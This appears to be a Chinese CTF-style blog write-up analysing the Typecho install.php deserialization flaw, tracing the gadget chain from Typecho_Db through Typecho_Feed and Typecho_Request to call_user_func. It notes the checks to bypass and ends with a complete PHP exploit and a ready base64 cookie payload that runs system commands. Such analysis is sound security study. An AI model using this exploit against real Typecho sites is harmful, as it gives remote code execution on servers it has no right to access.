typecho反序列化分析

前言

上周hxb决赛攻防模式碰见了该套程序,正好没跟过该套程序的反序列化链,漏洞虽然比较老,但很有学习的价值,在这里记录一下;hxb排了11,小遗憾。

代码分析

漏洞触发点位于install.php,代码段如下

230行处取出cookie值进行了反序列化操作,接着在232行创建了Typecho_Db类的实例,我们来到位于\var\Typecho\Db.phpTypecho_Db类中,在该类的构造方法中存在着如下代码段

120行处存在着字符串的操作,同时$adapterName是可控的,在这里我们可以控制触发任意类的__toString方法,在这里选择位于\var\Typecho\Feed.php中的Typecho_Feed类,重要代码如下

290行存在着$item['author']->screenName,其中$item['author']可控,那么在这里我们就可以触发任意不存在screenName属性的类的__get方法,在这里选择\var\Typecho\Request.php中的Typecho_Request

跟进__get方法

该处的$value可控,最后会触发_applyFilter方法,跟进该方法

该方法中存在着array_mapcall_user_func,且参数均可控,符合代码执行的条件,在这里选择使用call_user_func,即可触发代码执行,接着梳理一下调用链

1
2
3
4
5
6
7
unserialize
->Typecho_Db(__construct)
->Typecho_Feed(__toString)
->Typecho_Request(__get)
->Typecho_Request(get)
->Typecho_Request(_applyFilter)
->call_user_func

细节补充

1.在实际利用漏洞的过程中,出现了500错误,猜测是程序内部在运行payload时捕获到了异常从而清除了回显,通过在执行代码时刻意添加exit,解决了该问题

2.漏洞的利用代码需要通过设置cookie键值传递,在查看获取cookie的代码段时,发现获取cookie建值也可以使用POST方法

3.漏洞触发需要绕过install.php中的两个if判断

在这里我们需要来传递finish参数同时添加referer头为本站链接来绕过校验

漏洞利用

编写exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Typecho_Request{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_params = array("screenName"=>"eval('system('whoami');exit;')");
$this->_filter = array("assert");
}
}


class Typecho_Feed{
private $_items = array();
private $_type;
public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(array("title"=>"hello","link"=>"world","date"=>"20201118","author"=>(new Typecho_Request())));
}
}

$a = new Typecho_Feed();
$arr = array("adapter"=>$a,"prefix"=>"typecho_");
echo base64_encode(serialize($arr));
//YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NDp7czo1OiJ0aXRsZSI7czo1OiJoZWxsbyI7czo0OiJsaW5rIjtzOjU6IndvcmxkIjtzOjQ6ImRhdGUiO3M6ODoiMjAyMDExMTgiO3M6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czozMjoiZXZhbCgnc3lzdGVtKFwnd2hvYW1pXCcpO2V4aXQ7JykiO319fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

发送payload